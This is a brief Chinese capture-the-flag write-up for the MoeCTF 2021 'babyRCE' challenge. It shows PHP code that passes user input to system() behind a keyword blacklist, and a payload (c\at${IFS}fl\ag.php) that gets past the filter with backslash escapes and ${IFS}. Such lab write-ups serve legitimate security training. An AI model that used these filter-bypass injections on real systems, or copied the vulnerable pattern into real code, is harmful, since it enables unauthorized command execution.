目录

MoeCTF-2021babyRCE

目录

[MoeCTF 2021]babyRCE

打开题目在线环境可以看到:

<?php

$rce = $_GET['rce'];
if (isset($rce)) {
    if (!preg_match("/cat|more|less|head|tac|tail|nl|od|vi|vim|sort|flag| |\;|[0-9]|*|\`|\%|\>|\<|\'|\"/i", $rce)) {
        system($rce);
    }else {
        echo "hhhhhhacker!!!"."\n";
    }
} else {
    highlight_file(__FILE__);
}

这个代码审计起来就比较简单了,这里ls没有过滤可以直接用ls命令查看**?rce=ls**

https://i-blog.csdnimg.cn/direct/c5fbd8fce73f4a9fa01ab30c09dc5bf0.png

查看flag.php就能获得flag。 cat过滤 ==> c\at绕过 (可以在linux系统测试,是可以的) 空格过滤 ==>

${IFS}绕过 flag过滤 ==> fl\ag

最后的payload就是: ?rce=c\at${IFS}fl\ag.php